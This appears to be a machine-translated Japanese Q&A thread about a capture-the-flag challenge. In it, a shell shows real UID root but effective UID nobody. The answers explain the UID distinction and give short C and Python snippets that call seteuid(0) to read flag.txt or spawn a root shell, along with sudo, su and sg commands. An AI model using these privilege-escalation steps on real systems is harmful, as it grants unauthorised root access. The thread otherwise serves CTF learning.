UIDはrootだがwhoamiはnobodyと言っている

UIDはrootだがwhoamiはnobodyと言っている

私は、ファイルを読み取るために何らかの権限昇格を実装する必要があるキャプチャー・ザ・フラグ・コンテストに参加しています。実行すると、次の結果が得られるflag.txtことに気付きました。whoami

myHostHere:/$ whoami
nobody

しかし、実行するとidUIDは次のように設定されますroot

myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)

これは、root ユーザーなどとして操作できることを意味しますか、それとも出力を誤解しているのでしょうか?

編集:

の出力はls -l flag.txt次のようになります。

-r--r-----    1 root     root            34 Feb 10 12:00 flag.txt

答え1

--staticこれは、別のマシンで次のような C プログラムを作成してコンパイルすることで解決できます。

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
    seteuid(0);
    setgid(0);
    system("cat flag.txt");
}

このファイルを CTF マシンにコピーし、 で実行権限を与えてchmod +xtmpフォルダーから実行することができます。

答え2

私はあなたと非常によく似たセットアップを作成しました。デバッガーを使用して作成しました(例:ここそしてそこには) 影響を受けるシェルには次のものがあります:

$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$

そして、この答え:

ファイル アクセスや、ルート権限を必要とする操作では、有効な UID と GID が確認されます。

実際、次のようなことが起こります。

$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$

しかし、私はこれを行うことができます:

$ sudo cat flag.txt
foo

あるいはこれ:

$ su -
# whoami
root
# cat flag.txt
foo

あるいはこれ:

$ sg root 'cat flag.txt'
foo

がある場合uid=0、システム コールを使用してファイルを読み取ることができるものはすべてseteuid役立ちます。例python:

import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()

ファイルを読み取る代わりに (またはそれと並行して)、昇格したシェルを起動できます。

import os
os.seteuid(0)
os.execve("/bin/sh", [], {})

このシェルでは、root;cat flag.txtが動作します。


テストベッド: Debian GNU/Linux 9。

関連情報